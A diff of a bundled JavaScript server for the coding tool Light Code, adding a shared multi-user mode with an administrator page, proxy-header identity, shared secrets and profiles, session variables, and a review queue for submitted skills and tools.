-      const parsed = JSON.parse(await fs18.readFile(this.filePath, "utf8"));
+      const parsed = JSON.parse(await fs21.readFile(this.filePath, "utf8"));
       if (typeof parsed === "object" && parsed !== null) this.values = parsed;
     } catch {
       this.values = {};
@@ -66502,8 +67447,8 @@ var FileWorkspaceState = class {
   async set(key, value) {
     if (value === void 0) delete this.values[key];
     else this.values[key] = value;
-    await fs18.mkdir(path23.dirname(this.filePath), { recursive: true });
-    await fs18.writeFile(this.filePath, JSON.stringify(this.values, null, 2), { encoding: "utf8", mode: 384 });
+    await fs21.mkdir(path26.dirname(this.filePath), { recursive: true });
+    await fs21.writeFile(this.filePath, JSON.stringify(this.values, null, 2), { encoding: "utf8", mode: 384 });
   }
 };
 function createBrowserUi(workspaceRoot, post) {
@@ -66539,14 +67484,14 @@ function createBrowserUi(workspaceRoot, post) {
         if (found.length >= limit || depth > 12) return;
         let entries;
         try {
-          entries = await fs18.readdir(dir, { withFileTypes: true });
+          entries = await fs21.readdir(dir, { withFileTypes: true });
         } catch {
           return;
         }
         for (const entry of entries) {
           if (found.length >= limit) return;
           if (entry.name.startsWith(".") && entry.name !== ".env") continue;
-          const full = path23.join(dir, entry.name);
+          const full = path26.join(dir, entry.name);
           if (entry.isDirectory()) {
             if (!skip.has(entry.name)) await walk(full, depth + 1);
           } else if (needle.length === 0 || entry.name.toLowerCase().includes(needle)) {
@@ -66560,20 +67505,44 @@ function createBrowserUi(workspaceRoot, post) {
   };
 }
 async function createSession(options) {
-  const userDir = path23.join(options.dataDir, "users", storageKeyFor(options.principal));
-  await fs18.mkdir(userDir, { recursive: true, mode: 448 });
-  const workspaceState = new FileWorkspaceState(path23.join(userDir, "workspace-state.json"));
+  const userDir = path26.join(options.dataDir, "users", storageKeyFor(options.principal));
+  await fs21.mkdir(userDir, { recursive: true, mode: 448 });
+  const variableStore = new UserVariableStore(userVariablesPath(userDir));
+  const userVariables = () => variableStore.read();
+  const workspaceState = new FileWorkspaceState(path26.join(userDir, "workspace-state.json"));
   await workspaceState.load();
   const services = {
     transport: options.transport,
-    secrets: new FileSecretStore(path23.join(userDir, "secrets.json")),
-    configStore: new FileConfigStore(path23.join(userDir, "config.json"), options.workspaceRoot),
+    /*
+      * A shared profile's API key belongs to the administrator and lives beside the shared config;
+      * everything else is this user's. Routed by the reference, which is all a secret store gets.
+      */
+    secrets: options.sharedSecrets === void 0 ? new FileSecretStore(path26.join(userDir, "secrets.json")) : new RoutedSecretStore(new FileSecretStore(path26.join(userDir, "secrets.json")), options.sharedSecrets),
+    configStore: options.sharedProfiles === void 0 ? new FileConfigStore(path26.join(userDir, "config.json"), options.workspaceRoot) : new SharedProfileConfigStore(
+      new FileConfigStore(path26.join(userDir, "config.json"), options.workspaceRoot),
+      options.sharedProfiles
+    ),
     workspaceState,
     ui: createBrowserUi(options.workspaceRoot, options.logSink),
     workspaceRoot: options.workspaceRoot,
     storageDir: userDir,
     ripgrepPath: options.ripgrepPath,
-    logSink: options.logSink
+    logSink: options.logSink,
+    /*
+     * Served from this origin, which is what `img-src 'self'` in the CSP permits and the whole
+     * reason the diagrams are copied into the client bundle rather than fetched. A relative base
+     * also survives whatever port the server happened to bind.
+     */
+    guideMediaBase: "/guide",
+    ...options.submitForReview !== void 0 ? { submitForReview: options.submitForReview } : {},
+    /*
+     * Resolved per read, so both halves stay live — an administrator's edit and the user's own
+     * each reach the next command rather than the next session.
+     *
+     * The administrator's win. That is a precedence rule and not a secrecy one: everything a
+     * session spawns runs as the service account, so another user's agent can read these.
+     */
+    sessionEnv: () => toEnvironment(resolveSessionVariables(options.adminVariables?.() ?? [], userVariables()))
   };
   new Logger({ level: "debug", sink: options.logSink }).info(
     `session for ${options.principal.displayName} \u2192 ${userDir}`
@@ -66585,21 +67554,61 @@ async function createSession(options) {
 var CLIENT_ASSETS = {
   "/": "index.html",
   "/index.html": "index.html",
+  /*
+   * The administrator's URL. The same page — the client asks the server what it may do rather
+   * than being a second bundle — but a distinct address, because that is what a proxy rule can
+   * be written against.
+   *
+   * **Reaching it is assumed to be restricted upstream.** Light Code does not re-derive who may
+   * be here; the proxy, the firewall or a separate listener decides. The consequence, stated
+   * once so nobody has to infer it: anyone who can reach `/admin` directly is an administrator,
+   * so exposing the port without the proxy in front exposes this with it.
+   */
+  "/admin": "index.html",
+  "/admin/": "index.html",
   "/client.js": "client.js",
-  "/client.css": "client.css"
+  "/client.css": "client.css",
+  /*
+   * The guide's diagrams, one entry per step and palette.
+   *
+   * Derived from `GUIDE_STEPS` rather than listed by hand, but still a *fixed table*: the keys
+   * come from checked-in data, never from the request, so `serveAsset` keeps the property that
+   * makes it safe — no part of the path is attacker-supplied and traversal is unreachable.
+   */
+  ...Object.fromEntries(
+    GUIDE_STEPS.flatMap(
+      (step) => ["light", "dark"].map((theme) => [
+        `/guide/${step.id}-${theme}.svg`,
+        `guide/${step.id}-${theme}.svg`
+      ])
+    )
+  )
 };
 var CONTENT_TYPES = {
   ".html": "text/html; charset=utf-8",
   ".js": "text/javascript; charset=utf-8",
-  ".css": "text/css; charset=utf-8"
+  ".css": "text/css; charset=utf-8",
+  // Served as an image, and the CSP's `img-src 'self'` is what keeps it one: an SVG loaded
+  // through <img> cannot run script, whatever it contains.
+  ".svg": "image/svg+xml"
 };
 async function startServer(options) {
   const log = options.logSink ?? ((line) => process.stderr.write(`${line}
 `));
   const identity = options.identity ?? new SingleUserIdentity();
   const roles = options.roles ?? SINGLE_USER_POLICY;
+  const sharedStore = options.sharedConfig;
+  const sharedSecretStore = new FileSecretStore(path27.join(options.dataDir, "shared-secrets.json"));
+  const reviews = new ReviewQueue(path27.join(options.dataDir, "reviews.json"));
+  let sharedCache = { variables: [], adminIds: [], profiles: [] };
   const bindAddress = options.bindAddress ?? "127.0.0.1";
+  if (sharedStore !== void 0) sharedCache = await sharedStore.load();
+  const adminConnections = /* @__PURE__ */ new Set();
   const connections = /* @__PURE__ */ new Map();
+  function isAdminSession(principal) {
+    if (!roles.shared) return true;
+    return adminConnections.has(principal.id) && roles.roleFor(principal) === "admin";
+  }
   let policy = { allowedHosts: [], allowedOrigins: [] };
   async function openConnection(principal, response) {
     const listeners = /* @__PURE__ */ new Set();
@@ -66628,7 +67637,37 @@ async function startServer(options) {
       workspaceRoot: options.workspaceRoot,
       dataDir: options.dataDir,
       ripgrepPath: options.ripgrepPath,
-      logSink: log
+      logSink: log,
+      /*
+       * Read at use, not captured: an administrator saving a variable must reach a session that
+       * is already open. `SharedConfigStore` caches, so this is a map lookup rather than a read.
+       */
+      adminVariables: () => sharedCache.variables,
+      /*
+       * Only for someone who cannot approve their own work. An administrator keeps the ordinary
+       * in-chat prompt — the same mechanism with the approver already at the screen — so this is
+       * absent for them rather than a queue they would have to visit to approve themselves.
+       */
+      ...roles.shared && !isAdminSession(principal) ? {
+        submitForReview: async (request) => {
+          const queued = await reviews.submit({ ...request, authorId: principal.id, authorName: principal.displayName });
+          log(`${principal.displayName} submitted ${request.kind} "${request.name}" for review`);
+          await broadcastReviews();
+          return describeSubmission(queued);
+        }
+      } : {},
+      /*
+       * Only in shared mode. Outside it there is one person and every profile is already theirs,
+       * so wrapping the stores would add a prefix nobody needs and a second file nobody writes.
+       */
+      ...sharedStore !== void 0 ? {
+        sharedProfiles: () => ({
+          profiles: sharedCache.profiles,
+          ...sharedCache.defaultProfileId !== void 0 ? { defaultProfileId: sharedCache.defaultProfileId } : {},
+          ...sharedCache.defaultProgrammingProfileId !== void 0 ? { defaultProgrammingProfileId: sharedCache.defaultProgrammingProfileId } : {}
+        }),
+        sharedSecrets: sharedSecretStore
+      } : {}
     });
     const originalDispose = connection.dispose;
     connection.dispose = () => {
@@ -66686,8 +67725,18 @@ async function startServer(options) {
         ...securityHeaders()
       });
       response.write(": connected\n\n");
+      const viaAdminUrl = url2.searchParams.get("view") === "admin";
+      if (viaAdminUrl) adminConnections.add(principal.id);
+      else adminConnections.delete(principal.id);
       const connection = await openConnection(principal, response);
       connections.set(principal.id, connection);
+      connection.transport.post({
+        type: "hostRole",
+        role: isAdminSession(principal) ? "admin" : "user",
+        shared: roles.shared,
+        displayName: principal.displayName,
+        sharedProfileIds: sharedCache.profiles.map((profile) => toSharedProfileId(profile.id))
+      });
       const heartbeat = setInterval(() => response.write(": ping\n\n"), 2e4);
       const cleanup = () => {
         clearInterval(heartbeat);
@@ -66705,18 +67754,154 @@ async function startServer(options) {
       }
       const body = await readJsonBody(request);
       const type = typeof body?.type === "string" ? body.type : "";
-      if (roles.shared && roles.roleFor(principal) !== "admin" && isAdminOnly(type)) {
+      if (roles.shared && !isAdminSession(principal) && isAdminOnly(type)) {
         log(`refused "${type}" from ${principal.displayName} (${principal.id}): not an administrator`);
         connection.transport.post({ type: "error", message: refusalFor(type) });
         respondJson(response, 403, { ok: false });
         return;
       }
+      if (await handleVariableMessage(principal, type, body, connection)) {
+        respondJson(response, 202, { ok: true });
+        return;
+      }
       connection.deliver(body);
       respondJson(response, 202, { ok: true });
       return;
     }
     reject(response, { status: 404, reason: "Not found." });
   }
+  async function postReviews(principal, connection) {
+    const canDecide = isAdminSession(principal);
+    const all = await reviews.list();
+    const visible = canDecide ? all : all.filter((item) => item.authorId === principal.id);
+    connection.transport.post({
+      type: "reviews",
+      canDecide,
+      items: visible.sort((a, b) => b.submittedAt - a.submittedAt).map((item) => ({
+        id: item.id,
+        kind: item.kind,
+        name: item.name,
+        content: item.content,
+        existingContent: item.existingContent,
+        authorName: item.authorName,
+        submittedAt: item.submittedAt,
+        status: item.status,
+        ...item.producedBy !== void 0 ? { producedBy: item.producedBy } : {},
+        ...item.decidedBy !== void 0 ? { decidedBy: item.decidedBy } : {},
+        ...item.reason !== void 0 ? { reason: item.reason } : {}
+      }))
+    });
+  }
+  async function broadcastReviews() {
+    for (const [id, connection] of connections) {
+      await postReviews({ id, displayName: id }, connection);
+    }
+  }
+  async function applyApproval(item) {
+    if (options.workspaceRoot === void 0) return "No workspace is open, so there is nowhere to write it.";
+    try {
+      if (item.kind === "skill") {
+        const dir2 = path27.join(options.workspaceRoot, ".lightcode", "skills");
+        await fs22.mkdir(dir2, { recursive: true });
+        await fs22.writeFile(path27.join(dir2, `${item.name}.md`), item.content, "utf8");
+        return void 0;
+      }
+      const dir = path27.join(options.workspaceRoot, ".lightcode", "tools");
+      await fs22.mkdir(dir, { recursive: true });
+      await fs22.writeFile(path27.join(dir, `${item.name}.py`), item.content, "utf8");
+      return void 0;
+    } catch (error51) {
+      return error51 instanceof Error ? error51.message : String(error51);
+    }
+  }
+  async function postVariables(principal, connection) {
+    const store = userVariableStoreFor(options.dataDir, principal);
+    const user = store.read();
+    const admin = sharedCache.variables;
+    connection.transport.post({
+      type: "variables",
+      user: [...user],
+      admin: [...admin],
+      resolved: resolveSessionVariables(admin, user),
+      adminIds: sharedCache.adminIds,
+      canEditAdmin: isAdminSession(principal)
+    });
+  }
+  async function handleVariableMessage(principal, type, body, connection) {
+    const payload = body;
+    if (type === "requestReviews") {
+      await postReviews(principal, connection);
+      return true;
+    }
+    if (type === "decideReview") {
+      const id = typeof body.id === "string" ? body.id : "";
+      const approved = body.approved === true;
+      const reason = typeof body.reason === "string" ? body.reason : void 0;
+      const decided = await reviews.decide(id, {
+        approved,
+        by: principal.displayName,
+        ...reason !== void 0 ? { reason } : {}
+      });
+      if (decided === void 0) {
+        connection.transport.post({
+          type: "error",
+          message: "That submission has already been decided. Reload to see the current queue."
+        });
+        return true;
+      }
+      if (approved) {
+        const failure = await applyApproval(decided);
+        if (failure !== void 0) {
+          connection.transport.post({ type: "error", message: `Approved, but could not write it: ${failure}` });
+        }
+      }
+      log(`${principal.displayName} ${approved ? "approved" : "rejected"} ${decided.kind} "${decided.name}"`);
+      await broadcastReviews();
+      return true;
+    }
+    if (type === "requestVariables") {
+      await postVariables(principal, connection);
+      return true;
+    }
+    if (type === "saveUserVariables") {
+      const parsed = sessionVariablesSchema.safeParse(payload.variables);
+      if (!parsed.success) {
+        connection.transport.post({ type: "error", message: `Could not save variables: ${parsed.error.message}` });
+        return true;
+      }
+      await userVariableStoreFor(options.dataDir, principal).save(parsed.data);
+      await postVariables(principal, connection);
+      return true;
+    }
+    if (type === "saveAdminVariables" || type === "saveAdminIds") {
+      if (sharedStore === void 0) {
+        connection.transport.post({
+          type: "error",
+          message: "There are no shared settings outside --server mode."
+        });
+        return true;
+      }
+      if (type === "saveAdminVariables") {
+        const parsed = sessionVariablesSchema.safeParse(payload.variables);
+        if (!parsed.success) {
+          connection.transport.post({ type: "error", message: `Could not save variables: ${parsed.error.message}` });
+          return true;
+        }
+        sharedCache = await sharedStore.save({ variables: parsed.data });
+      } else {
+        const ids = Array.isArray(payload.ids) ? payload.ids.filter((id) => typeof id === "string") : [];
+        if (!ids.includes(principal.id)) {
+          log(`${principal.displayName} removed themselves from the administrator list`);
+        }
+        sharedCache = await sharedStore.save({ adminIds: [...new Set(ids)] });
+      }
+      for (const [id, other] of connections) {
+        await postVariables({ id, displayName: id }, other);
+      }
+      return true;
+    }
+    return false;
+  }
   async function serveAsset(pathname, response) {
     const asset = CLIENT_ASSETS[pathname];
     if (asset === void 0) {
@@ -66724,9 +67909,9 @@ async function startServer(options) {
       return;
     }
     try {
-      const body = await fs19.readFile(path24.join(options.clientDir, asset));
+      const body = await fs22.readFile(path27.join(options.clientDir, asset));
       response.writeHead(200, {
-        "Content-Type": CONTENT_TYPES[path24.extname(asset)] ?? "application/octet-stream",
+        "Content-Type": CONTENT_TYPES[path27.extname(asset)] ?? "application/octet-stream",
         ...securityHeaders()
       });
       response.end(body);
@@ -66761,24 +67946,79 @@ async function main() {
     process.stdout.write(usage());
     return;
   }
+  if (args.includes("--guide")) {
+    process.stdout.write(renderGuide(process.stdout.isTTY === true));
+    process.stdout.write("\n");
+    return;
+  }
+  const unknown2 = args.filter((arg) => arg.startsWith("--") && !KNOWN_FLAGS.has(arg));
+  if (unknown2.length > 0) {
+    process.stderr.write(
+      `light-code: unknown option${unknown2.length === 1 ? "" : "s"} ${unknown2.join(", ")}
+If you expected this to work, you may be on an older cached copy \u2014 try:
+  npx @chosengeneration/light-code@latest --help
+`
+    );
+    process.exit(2);
+  }
+  const strayAdminValue = valuesOf(args, "--admin");
+  if (strayAdminValue.length > 0) {
+    process.stderr.write(
+      `light-code: --admin no longer takes a value.
+  --admin           opens the administrator's interface
+  --admin-id <id>   names an administrator (repeatable)
+Did you mean: --admin-id ${strayAdminValue.join(" --admin-id ")}
+`
+    );
+    process.exit(2);
+  }
   const serverMode = args.includes("--server");
-  const adminIds = valuesOf(args, "--admin");
-  const workspaceRoot = path25.resolve(valueOf(args, "--workspace") ?? process.cwd());
+  const adminMode = args.includes("--admin");
+  const adminIds = valuesOf(args, "--admin-id");
+  const trustedProxies = valuesOf(args, "--trust-proxy");
+  const userHeader = valueOf(args, "--user-header");
+  const workspaceRoot = path28.resolve(valueOf(args, "--workspace") ?? process.cwd());
   const dataDir = valueOf(args, "--data-dir") ?? envPaths("light-code", { suffix: "" }).data;
   const port = Number.parseInt(valueOf(args, "--port") ?? "0", 10);
   const bindAddress = valueOf(args, "--bind");
   const noOpen = args.includes("--no-open") || serverMode;
-  const here = path25.dirname(fileURLToPath(import.meta.url));
+  let identity;
+  if (serverMode) {
+    const bad = validateTrustedProxies(trustedProxies);
+    if (bad.length > 0) {
+      process.stderr.write(`light-code: --trust-proxy is not an IP address: ${bad.join(", ")}
+`);
+      process.exit(2);
+    }
+    if (trustedProxies.length === 0) {
+      process.stderr.write(
+        "light-code: --server needs --trust-proxy <address of your reverse proxy>.\nUsers are identified by a header the proxy sets, and a header is only believable\nfrom an address you name \u2014 anything that can reach this port can type one.\n"
+      );
+      process.exit(2);
+    }
+    identity = new ProxyHeaderIdentity({
+      trustedProxies,
+      ...userHeader !== void 0 ? { userHeader } : {}
+    });
+  }
+  const sharedConfig = new SharedConfigStore(path28.join(dataDir, "shared.json"));
+  const shared = await sharedConfig.load();
+  const effectiveAdminIds = [.../* @__PURE__ */ new Set([...shared.adminIds, ...adminIds])];
+  if (adminIds.length > 0 && effectiveAdminIds.length !== shared.adminIds.length) {
+    await sharedConfig.save({ adminIds: effectiveAdminIds });
+  }
+  const here = path28.dirname(fileURLToPath(import.meta.url));
   const server = await startServer({
     workspaceRoot,
     dataDir,
-    clientDir: path25.join(here, "client"),
+    clientDir: path28.join(here, "client"),
     ripgrepPath: resolveRipgrep(),
     port: Number.isNaN(port) ? 0 : port,
-    ...serverMode ? { roles: adminListPolicy(adminIds) } : {},
+    ...serverMode ? { roles: adminListPolicy(effectiveAdminIds), sharedConfig } : {},
+    ...identity !== void 0 ? { identity } : {},
     ...bindAddress !== void 0 ? { bindAddress } : {}
   });
-  const launchUrl = `${server.url}/#t=${server.launchToken ?? ""}`;
+  const launchUrl = `${server.url}${adminMode ? "/admin" : ""}/#t=${server.launchToken ?? ""}`;
   process.stdout.write(
     `
 Light Code
@@ -66788,7 +68028,7 @@ Light Code
 `
   );
   if (serverMode) {
-    const who = adminIds.length === 0 ? "nobody \u2014 no --admin was given, so configuration is frozen" : `${String(adminIds.length)} administrator(s)`;
+    const who = effectiveAdminIds.length === 0 ? "nobody \u2014 no --admin-id was given, so configuration is frozen" : `${String(effectiveAdminIds.length)} administrator(s)`;
     process.stdout.write(`  mode       shared \u2014 settings are read-only except for ${who}
 `);
     process.stdout.write(
@@ -66799,11 +68039,24 @@ Light Code
     );
   }
   process.stdout.write("\n");
-  process.stdout.write(`Opening ${server.url}
+  if (serverMode) {
+    process.stdout.write(
+      `  users          ${server.url}/
+  administrators ${server.url}/admin
+
+Both go through your proxy. Anyone reaching /admin directly is an administrator.
+
+`
+    );
+  } else {
+    process.stdout.write(
+      `Opening ${server.url}
 (If the browser does not open, paste this within 10 seconds:)
 ${launchUrl}
 
-`);
+`
+    );
+  }
   if (!noOpen) openBrowser(launchUrl);
   const shutdown = () => {
     process.stdout.write("\nStopping.\n");
@@ -66812,6 +68065,21 @@ ${launchUrl}
   process.on("SIGINT", shutdown);
   process.on("SIGTERM", shutdown);
 }
+var KNOWN_FLAGS = /* @__PURE__ */ new Set([
+  "--help",
+  "-h",
+  "--workspace",
+  "--port",
+  "--data-dir",
+  "--no-open",
+  "--server",
+  "--admin",
+  "--admin-id",
+  "--trust-proxy",
+  "--user-header",
+  "--bind",
+  "--guide"
+]);
 function valuesOf(args, flag) {
   const values = [];
   for (let index = 0; index < args.length; index++) {
@@ -66852,8 +68120,16 @@ Usage: light-code [options]
   --no-open           Print the URL instead of launching a browser
   --server            Shared mode: configuration is read-only for everyone
                       except the administrators named below
-  --admin <id>        An administrator's identity id (repeatable)
+  --admin             Open the administrator's interface (/admin) instead
+  --admin-id <id>     An administrator's identity id (repeatable)
+  --trust-proxy <ip>  Believe the user header from this address (repeatable).
+                      Required in shared mode; without it every request is
+                      refused, which is the safe direction to fail
+  --user-header <h>   Header carrying the user id (default X-Forwarded-User)
   --bind <address>    Interface to listen on (default: 127.0.0.1)
+  --guide             Print the operator guide \u2014 setting up shared mode,
+                      who can change what, and what it does not protect
+                      against. Pipe it into a pager for comfort
   -h, --help          This message
 
 Binds 127.0.0.1 unless --bind says otherwise. Anything that can reach the port